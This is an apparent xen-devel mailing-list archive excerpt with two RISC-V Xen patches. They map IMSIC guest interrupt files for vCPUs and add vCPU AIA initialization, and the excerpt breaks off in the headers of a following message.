 id 1wlqRy-007AIh-O0
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:38 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469c-5cb7-0a2a0a5109dd-0a2a450a8204-10
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:38 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469e-f2d2-0a2a450a0019-d1558035d1c9-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:38 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-4955158f26aso13613725e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:38 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.36
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563358; x=1785168158; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ttSCZ7TXUpbcfCdm+1KEOjSX9YfjLTnnL4XcxrjkzxU=;
        b=l2Y3DT2sTP1fkxZpNdoVMYPUsQVjJLJv9w0Se946jQZnfNU4scb/2FZzm0SMLxNoqC
         CBhdlS1JgEAHK7HjQJBQpq8Vu/pu9Rt9In48jWNyu17vs/rb5mw49N/nfHUrufcHH4TI
         FLcRRH+xZp7RjfxxGS9z1k2WsP1IDmSrczsIkLg9tYZMeiRVyvtKww4Xr+8A9mwTprqm
         XowDk9J7Ia+NZpwYsSpmscZgUZmNKpuBprqM21eX51xX7YowSblr2c/CCTqXApCmuLwW
         jRY2/SQi6rzfRlbO5gp2tlldd657Dcx0E2rQLII/243zWoQTMl6oj+nNH7ua+C3uSm5p
         UAhQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563358; x=1785168158;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=ttSCZ7TXUpbcfCdm+1KEOjSX9YfjLTnnL4XcxrjkzxU=;
        b=nsvtGZT8vfvRjFi7UQFpahuAtJ+JabmO+GDaIBH3Wn1qGR66m1H8WP/6i844DoQxB3
         BY3mXDjwEKUZFZy5eqgfCdbYgX5FOgGmtbRMoKATMZii+5Lk+h6hWJfm0vxToJYwDKtf
         QxPRF8wMfEne4UzJDgiNYxemv1mIZX8Z74ANwCkr/9yZhYW7lyWkflOWghZFUj7V+O56
         HxTNWqjdvlPqG2WSXCkUmk/23q1GoUDUDui6rYukVV58l5Q9mImSUsqO1GIRVt8GAR5r
         wLxzfG8Y87+WilBCGVBLNhE3zvsfbcHnQZDijXbZxQNgbeaA/wtIzpmY7idfA6mNNqzL
         AzsQ==
X-Gm-Message-State: AOJu0YxMVBGqjnLWKPCwFFARUd5y42UWfW6XZsV2AnwKgC1nJIpd2J/k
	WRBhkcT+OCeD4g5Oq56INbZKy8ur588lLHM+aVzXY74+hIN4a1xQfMO0zFuvcQ==
X-Gm-Gg: AfdE7cloWjKodQnVu8BjSKPOI6az0oWhtsE4RuT9IGcGH0LYYrKdvtWFn6VdYq9PY+v
	fWZxLFfWHK1yDoKTY4p3I1EJC26uLDpqF6rKEWVc1Mg9STTMk3Xsyyr5HiSzWKaK8BhoJGxz0Zd
	e+T+m+WJaAz0aMBzAYZ+0OfGVQRvikuV/wBuYtCIiG5laUecnjRHKReBu03bbBWXwAGDaLdbObb
	15MmtnaKlLfgoDNSSsNC2IkQuDg+t+bKjQtq1CWPdAS2mh4eVYMeka04B4N/LhVIYCEHiEExorx
	5ZB9bcy3K9HO/1Ul2bjAetXT8XTiyOYHck7shjF13zuM96feKpTUXSln1S5a6nnXpsa6Owy6Vwe
	EMwl/M4MnGRIzzcXnKNHExLEIw57eCVu0xFvCogfd4GEJ5IxwX967fLFUcrpx2q3F1d1bX+2qFN
	hwn9NujKKQKCrS90aRXsLquMTrkdBXlU7S9RWdK1IPWCx1ilY=
X-Received: by 2002:a05:600c:4593:b0:495:3a52:cd7e with SMTP id 5b1f17b1804b1-4954a40e2f3mr172180365e9.25.1784563357648;
        Mon, 20 Jul 2026 09:02:37 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 06/17] xen/riscv: map IMSIC interrupt file for vCPUs
Date: Mon, 20 Jul 2026 18:02:04 +0200
Message-ID: <254f470ae2e2b2a4affa7c405be8c07a7d8b300e.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784563358-59FDECFC-57277793/10/73395122804
X-purgate-type: spam
X-purgate-size: 4521

A guest running in VS-mode expects its own IMSIC S-file at offset 0 of its
guest-physical IMSIC block. Physically, the guest-file (G-file) assigned to
this vCPU lives at a hart-relative offset given by guest_file_id (assigned
via the vGEIN allocator). Therefore, imsic_map_guest_file() uses stage-2
translation to redirect the guest's fixed per-vCPU GPA page (offset 0) to
the specific physical guest-file page.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
The corresponding unmap of the IMSIC interrupt file will be introduced
separately when the need arises.
---
---
 xen/arch/riscv/imsic.c             | 63 ++++++++++++++++++++++++++++++
 xen/arch/riscv/include/asm/imsic.h |  2 +
 2 files changed, 65 insertions(+)

diff --git a/xen/arch/riscv/imsic.c b/xen/arch/riscv/imsic.c
index ffce77209c26..c5ae74e456e8 100644
--- a/xen/arch/riscv/imsic.c
+++ b/xen/arch/riscv/imsic.c
@@ -25,7 +25,9 @@
 #include <xen/spinlock.h>
 #include <xen/xvmalloc.h>
 
+#include <asm/aia.h>
 #include <asm/imsic.h>
+#include <asm/p2m.h>
 
 #define IMSIC_HART_SIZE(guest_bits) (BIT(guest_bits, U) * IMSIC_MMIO_PAGE_SZ)
 
@@ -342,6 +344,67 @@ static int __init imsic_parse_node(const struct dt_device_node *node,
     return 0;
 }
 
+/*
+ * Map the physical IMSIC guest interrupt file (G-file) assigned to vCPU v
+ * into the domain's stage-2 guest-physical address space.
+ *
+ * In the machine's physical address space (SPA), each hart's IMSIC
+ * supervisor-level file (S-file) is located at offset 0 of its address block,
+ * followed contiguously by GEILEN guest files at offsets of 1, 2, ..., N pages.
+ *
+ * Because a guest OS running in VS-mode expects its own supervisor-level
+ * interrupt file to be at offset 0 of its guest-physical IMSIC block, the
+ * hypervisor must use stage-2 address translation to map the vCPU's
+ * guest-physical "supervisor" page (GPA offset 0) to the specific
+ * physical guest file page (SPA offset guest_file_id) on the physical hart.
+ *
+ * Xen pins each vCPU to a pCPU (v->processor) and assigns it a physical
+ * guest file index (guest_file_id) from the vGEIN allocator. A guest_file_id
+ * of 0 indicates that no hardware guest file is selected (matching the
+ * architectural behavior where vGEIN = 0 in the hstatus CSR selects no
+ * guest external interrupt source), requiring the VS-file to be emulated
+ * in software.
+ *
+ * The base guest-physical address advertised to the guest in the device
+ * tree matches offset 0 of the vCPU's virtual IMSIC block. Stage-2
+ * translation ensures that guest supervisor accesses to this page are
+ * transparently routed to the real hardware VS-file granted to it on
+ * the current pCPU.
+ */
+int imsic_map_guest_file(struct vcpu *v, unsigned int vsfile_id)
+{
+    int res = 0;
+    struct domain *d = v->domain;
+    unsigned int cpu = v->processor;
+    vaddr_t gaddr = imsic_cfg.base_addr + (IMSIC_MMIO_PAGE_SZ * v->vcpu_id);
+    paddr_t paddr;
+    unsigned long guest_stride;
+
+    /* Nothing to map in the case of sw interrupt file. */
+    if ( !vsfile_id )
+        return res;
+
+    guest_stride = vsfile_id * IMSIC_MMIO_PAGE_SZ;
+
+    paddr = imsic_cfg.msi[cpu].base_addr + imsic_cfg.msi[cpu].offset +
+            guest_stride;
+
+#ifdef IMSIC_DEBUG
+    printk("%s: %pv: ga(%#lx) -> pa(%#lx), cpu(%#x), guest_file_id(%d) "
+           "base_addr(%#lx) offset(%#lx)\n", __func__, v, gaddr, paddr, cpu,
+           vsfile_id, imsic_cfg.msi[cpu].base_addr, imsic_cfg.msi[cpu].offset);
+#endif
+
+    res = map_regions_p2mt(d, gaddr_to_gfn(gaddr),
+                           PFN_DOWN(IMSIC_MMIO_PAGE_SZ), maddr_to_mfn(paddr),
+                           arch_dt_passthrough_p2m_type());
+    if ( res )
+        printk("%s: Failed to map %#lx to the guest at %#lx\n",
+               __func__, paddr, gaddr);
+
+    return res;
+}
+
 int vcpu_imsic_init(struct vcpu *v)
 {
     struct vimsic_state *imsic_state;
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index 612f503b5799..f2c649517fd1 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -106,4 +106,6 @@ unsigned int vcpu_guest_file_id(const struct vcpu *v);
 
 int vimsic_make_domu_dt_node(struct kernel_info *kinfo, unsigned int *phandle);
 
+int imsic_map_guest_file(struct vcpu *v, unsigned int vsfile_id);
+
 #endif /* ASM_RISCV_IMSIC_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367153.1617009 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS3-0000vb-1X; Mon, 20 Jul 2026 16:02:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367153.1617009; Mon, 20 Jul 2026 16:02:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS2-0000vN-RB; Mon, 20 Jul 2026 16:02:42 +0000
Received: by outflank-mailman (input) for mailman id 1367153;
 Mon, 20 Jul 2026 16:02:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqS0-0000VZ-G2
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqRz-007AIH-Su
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:39 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469c-e002-0a2a0a5209dd-0a2a45088416-10
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:39 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469f-f659-0a2a45080019-d1558031b47c-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:39 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-495635a85d2so5547975e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:39 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.37
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563359; x=1785168159; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2t+lyCCPKz/DdlkCCXo7ilUwIbNIlj/dTsYcqkP6COE=;
        b=OnTaN0A7+fRgR/gmGHtJSQfVb+HeB5H+BaWnqh/Ijh0QYorieMv/6op04U6wOByXDB
         yVdpu7GkPztvFSmt2ShvsTfcR/f/SRbqIPs6OzhJG6PAIwNjJ6k1WbLPwpiTqQHzwtzw
         LYPlh8eMBNt6Qjtz34bjBFNoY31sl9QvX0b28OssQ0UebOENgYknaqJVKybwBDX6A3fl
         BTwOLUVKimVWfwdi3/8uG1M8MQrC8iuIJNVPgVO0UxiH2boNYAmt8t9QNh6mnzGEEfDP
         9YjFqrcUjGz8bGK92csMRHQvP6qUxBUXHTskCe7uhKsI7yDWs7Lop4pjwgVCpkikMIj3
         oE4g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563359; x=1785168159;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=2t+lyCCPKz/DdlkCCXo7ilUwIbNIlj/dTsYcqkP6COE=;
        b=B9gISPqUkkE8Zdf8buRAmWi0FIm1PEnfVxTCIvyjzS/lThOOTFjEsWmdN2uimq76Mf
         b5fWeUGmG6B+TlFa9HTuMi5W82xQJu0wDXBW6mz4SnVrbuVMddJvLa46S3RUtIYg9c/q
         XjcLUUd+qgKiJg6CFV5s4BEDltwx0472YSAWeADnUoM262AG9d4vbp1NEoysao8EIwlW
         U1IsfxaXFxz10UFuWoV+m+UpbD1oLSYste5h3Rj89qSJat3YHmYKFJeRSTV72OKBiue1
         oB3bz/xKrsBy2L6jVYT4l7FRVv4UmKSDzpqGWgltGUUOfxZllx9dwjg+BAp0v99iC2DH
         DO7A==
X-Gm-Message-State: AOJu0YyIiGr4ds1GSNwIJDgwXm71j3VEO7cTkXlr2klazHGcxI4Mc5pi
	NOegMJGu6BrAH8Nrtj0746EjDOqdg6CEm1duyZ4NkhBPTVub8KSPNAouYjAQMw==
X-Gm-Gg: AfdE7cmRmJojYpYKBz1xGMhzOP1iBGbY4CQwS6sGbClorrflIeu4MWiYzA0LVIPeCPU
	vAicGw8Yb+YwYjctvIE/HypNmS+vrpiQXOGPLGC7/kuy8sdNnrf64ohy/OP1Gta2Q0PrK5ln9qI
	T2npsxEKI/p69IJK7Sc3y6kHkvm96TE94J+YBr72V3KeueBTWMz5B6FiU76L4w2xyJEGtCr8V4j
	TsI6XWa6QkvaNjqY+JNjQz/PcLW6BCPnVpHO9h+v/uWtTH/6i3qdT7efbXdGL3oqcmzeHzPNg4+
	2V/DmhAD2I8IFtXiJV9ZYlCDkC8fBbhhHz/Lcdo2u6mgnzeG5clbympsorrBPYKPTdbviTqLsSl
	mACIB7UZlyPJ/Eh20IBvmz7Ml5SQmVbN114dk7FeDvqKR/RrRTGXBeH3RUJ0A+eLYZl5HMcEd5Z
	maxTIe44c2EUEYJAv+YC9apC5fL8WlFCU50ksa8ohRnnnw46E=
X-Received: by 2002:a05:600c:e558:20b0:495:5cda:52ec with SMTP id 5b1f17b1804b1-4955cda5441mr49051755e9.16.1784563358912;
        Mon, 20 Jul 2026 09:02:38 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 07/17] xen/riscv: introduce vCPU AIA initialization
Date: Mon, 20 Jul 2026 18:02:05 +0200
Message-ID: <b3aca8278dfd70bf6ce888bfcb0a3fbc32bb4971.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784563359-CC77387B-122E854C/10/73395122804
X-purgate-type: spam
X-purgate-size: 4709

Introduce vcpu_aia_init() to initialize the AIA-related state needed
for a vCPU to have a working guest interrupt file.

A guest (VS) interrupt file must be mapped to one of a pCPU's
hardware interrupt files (if they exist), so the pCPU a vCPU will actually
run on needs to be known first. arch_vcpu_create() is therefore not a
suitable place to call vcpu_aia_init(), since the pCPU assigned to a
vCPU can still change before it is first scheduled. To avoid
reassigning the VS interrupt file id and remapping it to a different
pCPU's hardware interrupt file, vcpu_aia_init() will instead be
called from a later point in the scheduling path (e.g.
continue_to_new_vcpu()), to be introduced in a follow-up patch. Since
it will end up being called from a non-__init context, it is not
itself marked __init.

Introduce imsic_update_state() to update a vCPU's guest IMSIC state
(the guest interrupt file id and the pCPU whose hardware interrupt
file it is mapped to) as a single consistent unit. This state can be
read concurrently, e.g. by a future helper that checks whether a
vCPU has a pending IMSIC interrupt, though no such consumer exists
yet at this stage - so it is protected by a lock.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 xen/arch/riscv/aia.c               | 30 ++++++++++++++++++++++++++++++
 xen/arch/riscv/imsic.c             | 13 +++++++++++++
 xen/arch/riscv/include/asm/aia.h   |  2 ++
 xen/arch/riscv/include/asm/imsic.h |  2 ++
 4 files changed, 47 insertions(+)

diff --git a/xen/arch/riscv/aia.c b/xen/arch/riscv/aia.c
index 4f7f46f58f0b..ed19600d4644 100644
--- a/xen/arch/riscv/aia.c
+++ b/xen/arch/riscv/aia.c
@@ -14,6 +14,7 @@
 #include <asm/cpufeature.h>
 #include <asm/csr.h>
 #include <asm/current.h>
+#include <asm/imsic.h>
 
 struct vgein_ctrl {
     unsigned long bmp;
@@ -36,6 +37,35 @@ bool aia_usable(void)
     return _aia_usable;
 }
 
+void vcpu_aia_init(struct vcpu *v)
+{
+    unsigned int new_vsfile_id;
+    int rc;
+
+    if ( !aia_usable() )
+        return;
+
+    new_vsfile_id = vgein_assign(v);
+
+    /*
+     * vgein_assign() returns 0 when no free h/w guest interrupt file is
+     * available (including GEILEN == 0); imsic_map_guest_file() maps nothing
+     * in that case.
+     */
+    rc = imsic_map_guest_file(v, new_vsfile_id);
+    if ( rc )
+    {
+        /* Can't continue w/o correctly mapped IMSIC interrupt file */
+        domain_crash(v->domain);
+        return;
+    }
+
+    vcpu_guest_cpu_user_regs(v)->hstatus |=
+        MASK_INSR(new_vsfile_id, HSTATUS_VGEIN);
+
+    imsic_update_state(v, new_vsfile_id);
+}
+
 static int vgein_init(unsigned int cpu)
 {
     struct vgein_ctrl *vgein = &per_cpu(vgein, cpu);
diff --git a/xen/arch/riscv/imsic.c b/xen/arch/riscv/imsic.c
index c5ae74e456e8..2a792e756c4e 100644
--- a/xen/arch/riscv/imsic.c
+++ b/xen/arch/riscv/imsic.c
@@ -83,6 +83,19 @@ unsigned int vcpu_guest_file_id(const struct vcpu *v)
     return ACCESS_ONCE(v->arch.vimsic_state->guest_file_id);
 }
 
+void imsic_update_state(struct vcpu *v, unsigned int guest_file_id)
+{
+    unsigned long flags;
+    struct vimsic_state *vimsic_state = v->arch.vimsic_state;
+    unsigned long pcpu = ( !guest_file_id ) ?
+                         NR_CPUS : cpuid_to_hartid(v->processor);
+
+    write_lock_irqsave(&vimsic_state->vsfile_lock, flags);
+    vimsic_state->guest_file_id = guest_file_id;
+    vimsic_state->vsfile_pcpu = pcpu;
+    write_unlock_irqrestore(&vimsic_state->vsfile_lock, flags);
+}
+
 void __init imsic_ids_local_delivery(bool enable)
 {
     if ( enable )
diff --git a/xen/arch/riscv/include/asm/aia.h b/xen/arch/riscv/include/asm/aia.h
index c67be0069a1d..2aef24cad4c0 100644
--- a/xen/arch/riscv/include/asm/aia.h
+++ b/xen/arch/riscv/include/asm/aia.h
@@ -15,4 +15,6 @@ void aia_init(void);
 unsigned int vgein_assign(struct vcpu *v);
 void vgein_release(struct vcpu *v, unsigned int vgein_id);
 
+void vcpu_aia_init(struct vcpu *v);
+
 #endif /* RISCV_AIA_H */
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index f2c649517fd1..8e3797690f99 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -104,6 +104,8 @@ int vcpu_imsic_init(struct vcpu *v);
 void vcpu_imsic_deinit(struct vcpu *v);
 unsigned int vcpu_guest_file_id(const struct vcpu *v);
 
+void imsic_update_state(struct vcpu *v, unsigned int guest_file_id);
+
 int vimsic_make_domu_dt_node(struct kernel_info *kinfo, unsigned int *phandle);
 
 int imsic_map_guest_file(struct vcpu *v, unsigned int vsfile_id);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367155.1617015 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS3-0000zb-Lc; Mon, 20 Jul 2026 16:02:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367155.1617015; Mon, 20 Jul 2026 16:02:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS3-0000zC-6v; Mon, 20 Jul 2026 16:02:43 +0000
Received: by outflank-mailman (input) for mailman id 1367155;
 Mon, 20 Jul 2026 16:02:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqS1-0000kw-Oq
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqS1-007AIH-5a
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:41 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469c-e002-0a2a0a5209dd-0a2a45088416-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:41 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e46a0-f659-0a2a45080019-d1558035cdfa-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:40 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493f75f7172so81121025e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:40 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.39
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563360; x=1785168160; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=miSKL88+kUWtagnECjWW87hhOI66lG3SpdHDGFK+jbM=;
        b=lIqJ/8Ybs8d6UmfwzDIK/3e7/qmw5/L4Ogz6wEs/Yt4kNsrcDdmx+8rME8oeGe4gdW
         gzsjI+/oRGqNOBUElWCjc3Nn2zNHjj6ajV9eM1DiCrg6PyNUyPOvyPAAwO2tGR+kikku
         7zKxLD0gno+31knOOwM/7JPRXx8vINLtNwWWYGxTc9N9c6xKvy0gc0Ck8jqHst++cZF/
         cGnCd/6UBMvUpH87VZq8Ha9KohE3w4zJPZj5qJhTaahpSrxpHTCw3CixsVeROEL2OIJ6
         uK5nrQe/FrCyXCHg4yJ8ty1cU5bi10B4ImUEOjZegJWs7zydemGMsqaIHCQWtD7IlaNs
         GI5Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563360; x=1785168160;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=miSKL88+kUWtagnECjWW87hhOI66lG3SpdHDGFK+jbM=;
        b=eN9QXtW5vcJKHnAYqZBCMmSsPdUakg1x3Ev+IBgnC1JL1WFPAqFu81ZVMDpKaaVAq+
         t0mERkULE7spFPHlUJNy0NYtVo8DOCT5QXMhl+38WeLydqrwdPglhTRF7/4e7V23n0Fr
